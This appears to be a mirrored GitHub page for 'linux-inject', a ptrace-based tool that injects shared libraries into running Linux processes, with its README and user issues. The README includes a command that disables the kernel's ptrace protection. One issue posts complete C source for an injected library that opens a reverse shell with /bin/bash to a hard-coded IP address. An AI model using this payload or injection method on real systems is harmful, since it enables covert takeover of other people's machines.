Git Product home page Git Product logo

linux-inject's Introduction

linux-inject

Tool for injecting a shared object into a Linux process

  • Provides the Linux equivalent of using CreateRemoteThread() on Windows to inject a DLL into a running process

  • Performs injection using ptrace() rather than LD_PRELOAD, since the target process is already running at the time of injection

  • Supports x86, x86_64, and ARM

  • Does not require the target process to have been built with -ldl flag, because it loads the shared object using __libc_dlopen_mode() from libc rather than dlopen() from libdl

Caveat about ptrace()

  • On many Linux distributions, the kernel is configured by default to prevent any process from calling ptrace() on another process that it did not create (e.g. via fork()).

  • This is a security feature meant to prevent exactly the kind of mischief that this tool causes.

  • You can temporarily disable it until the next reboot using the following command:

      echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
    

Compiling

  • Simply running make should automatically select and build for the correct architecture, but if this fails (or you would like to select the target manually), run one of the following make commands:

    • arm:

        make arm
      
    • x86:

        make x86
      
    • x86_64:

        make x86_64
      

Usage

./inject [-n process-name] [-p pid] [library-to-inject]

Sample

  • In one terminal, start up the sample target app, which simply outputs "sleeping..." each second:

      ./sample-target
    
  • In another terminal, inject sample-library.so into the target app:

      ./inject -n sample-target sample-library.so
    
  • The output should look something like this:

  • First terminal:

         $ ./sample-target
         sleeping...
         sleeping...
         I just got loaded
         sleeping...
         sleeping...
    
  • Second terminal:

         $ ./inject -n sample-target sample-library.so
         targeting process "sample-target" with pid 31490
         library "sample-library.so" successfully injected
         $
    
  • If the injection fails, make sure your machine is configured to allow processes to ptrace() other processes that they did not create. See the "Caveat about ptrace()" section above.

  • You can verify that the injection was successful by checking /proc/[pid]/maps:

      $ cat /proc/$(pgrep sample-target)/maps
      [...]
      7f37d5cc6000-7f37d5cc7000 r-xp 00000000 ca:01 267321                     /home/ubuntu/linux-inject/sample-library.so
      7f37d5cc7000-7f37d5ec6000 ---p 00001000 ca:01 267321                     /home/ubuntu/linux-inject/sample-library.so
      7f37d5ec6000-7f37d5ec7000 r--p 00000000 ca:01 267321                     /home/ubuntu/linux-inject/sample-library.so
      7f37d5ec7000-7f37d5ec8000 rw-p 00001000 ca:01 267321                     /home/ubuntu/linux-inject/sample-library.so
      [...]
    
  • You can also attach gdb to the target app and run info sharedlibrary to see what shared libraries the process currently has loaded:

      $ gdb -p $(pgrep sample-target)
      [...]
      (gdb) info sharedlibrary
      From                To                  Syms Read   Shared Object Library
      0x00007f37d628ded0  0x00007f37d628e9ce  Yes         /lib/x86_64-linux-gnu/libdl.so.2
      0x00007f37d5ee74a0  0x00007f37d602c583  Yes         /lib/x86_64-linux-gnu/libc.so.6
      0x00007f37d6491ae0  0x00007f37d64ac4e0  Yes         /lib64/ld-linux-x86-64.so.2
      0x00007f37d5cc6670  0x00007f37d5cc67b9  Yes         /home/ubuntu/linux-inject/sample-library.so
      (gdb)
    

Compatibility

  • The x86 and x86_64 versions work on Ubuntu 14.04.02 x86_64.

  • The x86 and x86_64 versions work on Arch x86_64.

  • The ARM version works on Arch on both armv6 and armv7.

  • None of the versions seem to work on Debian. __libc_dlopen_mode() in Debian's libc does not load shared libraries in the same manner as Arch's and Ubuntu's versions do. I tested this on both x86_64 and armv6.

TODOs / Known Issues

  • Better support for targeting multi-thread/multi-process apps

  • I seem to get crashes when trying to inject into larger applications

  • Needs further investigation

  • Support both ARM and Thumb mode

  • Currently only supports ARM mode

  • Should just be a matter of checking LSB of PC and acting accordingly

  • Do better checking to verify that the specified shared object has actually been injected into the target process

  • Check /proc/[pid]/maps rather than just looking at the return value of __libc_dlopen_mode()

  • Support more distros

  • Currently only working on Ubuntu and Arch for certain architectures

  • See "Compatibility" section above

  • Possibly support more architectures?

  • 64-bit ARM

  • MIPS

linux-inject's People

Contributors

eriner avatar gaffe23 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

linux-inject's Issues

Pre-reqs

You need pre-reqs: gcc-multilib to be installed for the compile to pass.

Otherwise, it complains about not finding bits/libc-header-start.h

segfault in diff optimize level

// start of the function to inject always happens to be 2 bytes long.
? this is not reliable, this my modification:

  1. fill 32 nop in the begin of injectSharedLibrary to ensure the code copy to target is clean.

the second question is that why the last INT 3 inst. not supply in injectSharedLibrary but find and replace the RET inst. ?

the .patch:

Index:

 inject-x86_64.c
===================================================================
--- inject-x86_64.c (revision 654940)
+++ inject-x86_64.c (working copy)
@@ -25,6 +25,13 @@

 void injectSharedLibrary(long mallocaddr, long freeaddr, long dlopenaddr)
 {
+   // add nop in the function head, so that we can jump into it for diff c-compiler optimize
+   asm(
+       "nop \nnop \nnop \nnop \nnop \nnop \nnop \nnop \n"
+       "nop \nnop \nnop \nnop \nnop \nnop \nnop \nnop \n"
+       "nop \nnop \nnop \nnop \nnop \nnop \nnop \nnop \n"
+       "nop \nnop \nnop \nnop \nnop \nnop \nnop \nnop \n"
+   );
    // here are the assumptions I'm making about what data will be located
    // where at the time the target executes this code:
    //
@@ -103,7 +110,9 @@
        // call free()
        "callq *%rbx \n"
        // restore previous rbx value
-       "pop %rbx"
+       "pop %rbx \n"
+       // break to restore everything
+       "int $3"
    );

    // we already overwrote the RET instruction at the end of this function
@@ -223,8 +232,12 @@
    regs.rcx = libPathLength;
    ptrace_setregs(target, &regs);

+   // +30 to skip function header(we have 32 nop after the header)
+   // ensure clean code is copied
+   void *safeInjectSharedLibrary = (void *)((intptr_t)injectSharedLibrary + 30);
+   
    // figure out the size of injectSharedLibrary() so we know how big of a buffer to allocate. 
-   size_t injectSharedLibrary_size = (intptr_t)injectSharedLibrary_end - (intptr_t)injectSharedLibrary;
+   size_t injectSharedLibrary_size = (intptr_t)injectSharedLibrary_end - (intptr_t)safeInjectSharedLibrary;

    // also figure out where the RET instruction at the end of
    // injectSharedLibrary() lies so that we can overwrite it with an INT 3
@@ -233,7 +246,6 @@
    // which means that functions are padded with NOPs. as a result, even
    // though we've found the length of the function, it is very likely
    // padded with NOPs, so we need to actually search to find the RET.
-   intptr_t injectSharedLibrary_ret = (intptr_t)findRet(injectSharedLibrary_end) - (intptr_t)injectSharedLibrary;

    // back up whatever data used to be at the address we want to modify.
    char* backup = malloc(injectSharedLibrary_size * sizeof(char));
@@ -245,9 +257,8 @@
    memset(newcode, 0, injectSharedLibrary_size * sizeof(char));

    // copy the code of injectSharedLibrary() to a buffer.
-   memcpy(newcode, injectSharedLibrary, injectSharedLibrary_size - 1);
+   memcpy(newcode, safeInjectSharedLibrary, injectSharedLibrary_size);
    // overwrite the RET instruction with an INT 3.
-   newcode[injectSharedLibrary_ret] = INTEL_INT3_INSTRUCTION;

    // copy injectSharedLibrary()'s code to the target address inside the
    // target process' address space.

Can't build using "make arm"

Hi,

I tried to build it using the Makefile provided and didn't get much luck.
Lots of warnings:
clang -std=gnu99 -ggdb -DARM -ldl -o inject utils.c ptrace.c inject-arm.c
In file included from ptrace.c:9:
./ptrace.h:9:42: warning: declaration of 'struct user_regs' will not be visible outside of this function [-Wvisibility]
void ptrace_getregs(pid_t target, struct REG_TYPE* regs);
^
./ptrace.h:2:19: note: expanded from macro 'REG_TYPE'
#define REG_TYPE user_regs
^
./ptrace.h:11:42: warning: declaration of 'struct user_regs' will not be visible outside of this function [-Wvisibility]
void ptrace_setregs(pid_t target, struct REG_TYPE* regs);
^
./ptrace.h:2:19: note: expanded from macro 'REG_TYPE'
#define REG_TYPE user_regs

But in terms of errors I got 4:
ptrace.c:74:6: error: conflicting types for 'ptrace_getregs'
void ptrace_getregs(pid_t target, struct REG_TYPE* regs)

ptrace.c:127:6: error: conflicting types for 'ptrace_setregs'
void ptrace_setregs(pid_t target, struct REG_TYPE* regs)
ptrace.c:271:6: error: conflicting types for 'restoreStateAndDetach'
void restoreStateAndDetach(pid_t target, unsigned long addr, void* backup, int datasize, struct REG_TYPE oldregs)
^
./ptrace.h:16:6: note: previous declaration is here
void restoreStateAndDetach(pid_t target, unsigned long addr, void* backup, int datasize, struct REG_TYPE oldregs);
^
ptrace.c:271:106: error: variable has incomplete type 'struct user_regs'
void restoreStateAndDetach(pid_t target, unsigned long addr, void* backup, int datasize, struct REG_TYPE oldregs)
^
ptrace.c:271:97: note: forward declaration of 'struct user_regs'
6 warnings and 4 errors generated.
In file included from inject-arm.c:9:
This was on an ubuntu box.

I also tried on MAC using the includes from the android sdk same thing no luck.

CLOSED

I cant use the sound vizualizer enabled by not working? on linux

kill injected process

hello,thanks for your code.
im a pentest noob,when i test this programmer,i find a issue. i rewrite the sample-library.c to back connect to my host,when i inject the .so to a normal process(like top),inject success and i received a reverse shell,but, the top process disappear,the pid dont change,but the process cmdline changed to /bin/bash,i think sample-library.c cause this.so could you please help me?this is my sample-library.c:

#include <stdio.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <pthread.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

static void * hello()
{
struct sockaddr_in server;
int sock;
char shell[]="/bin/bash";
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
return NULL;
}

server.sin_family = AF_INET;
server.sin_port = htons(139);
server.sin_addr.s_addr = inet_addr("172.16.177.1");
if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
    return NULL;
}
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl(shell,"/bin/bash",(char *)0);
close(sock);
printf("I just got loaded\n");
return NULL;

}

attribute((constructor))
void loadMsg()
{
pthread_t thread_id;
pthread_create(&thread_id,NULL,hello,NULL);
}

__libc_dlopen_mode() flag must be update

currently source code use 1 to flag for load shared object immediately. but this is not enough all of cases, if shared object need to be modify it own properties when load time.

refer glibc-2.28 source code. at line 1257:

if ((mode & (__RTLD_DLOPEN | __RTLD_AUDIT)) == __RTLD_DLOPEN)
   < change specific memory proctection >
    __stack_prot |= PROT_READ|PROT_WRITE|PROT_EXEC;
else 
    __stack_prot |= PROT_READ|PROT_WRITE|PROT_EXEC;

if you pass the 1 to argument for __libc_dlopen_mode, there is a possibility of occur SIGSEGV.

so, my suggest is very simple, just pass 0x80000001, not 1.
then everyone will happy.

Using strace with linux-inject

Thanks for creating awesome injection library. I am able to successfully inject with help of your technique. But when I run sample-target with strace the injection fails with message: ptrace(PTRACE_ATTACH) failed
please help.

Calling checkloaded with wrong parameter?

If I load a library with relative path, e.g ./sample-library.so, the checkloaded function fails.

In the source code you're looking for the relative path,

if(checkloaded(target, libname))

Why not look for canonical path? The following code fixes the problem:

if(checkloaded(target, libPath))

__libc_dlopen_mode gone in glibc-2.33.9000+

I am currently using libc version 2.35, and it looks like __libc_dlopen_mode was removed from the library. I found verification for its removal here, I also can't find it with readelf --dyn-syms. When running the program I get following error:

targeting process "test" with pid 6824
instead of expected SIGTRAP, target stopped with signal 11: Segmentation fault
sending process 6824 a SIGSTOP signal for debugging purposes

Because __libc_dlopen_mode was removed, the following code returns 0 leading to the crash.

long dlopenAddr = getFunctionAddress("__libc_dlopen_mode");

This is probably the same problem as seen in #18 and #16. I'm not sure how to solve this issue, maybe there is an alternative to __libc_dlopen_mode?

ptrace(PTRACE_ATTACH) failed

system :
1.localuser ptrace(PTRACE_ATTACH) failed
2.root : susseccful
docker:
localuser && root :ptrace(PTRACE_ATTACH) failed
image

"ptrace(PTRACE_GETSIGINFO) failed" issue

Hi,

On a 64 linux box with SElinux disabled, and no Yama protection, I'm getting on most of the processes (not all) the following error:

./inject -p 12345 test-lib.so

targeting process with pid 12345
ptrace(PTRACE_GETSIGINFO) failed

Any ideas why this is happening?

Thanks in advance!

Override some functions not working, such as read()

Hi,

Great work. I have tried your code. It works well. However, there is still one problem that I don't know whether your code support? I want to override some functions like read, write, open. So I rewrite these functions and compile to one shared object. And then I use your code to inject this shared object. According to the output, the runtime process will not use these override functions. I also check the maps, the shared object has been loaded into the runtime process. If I use LD_RELAOD, the execution will use these override functions.

Thank you very much.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.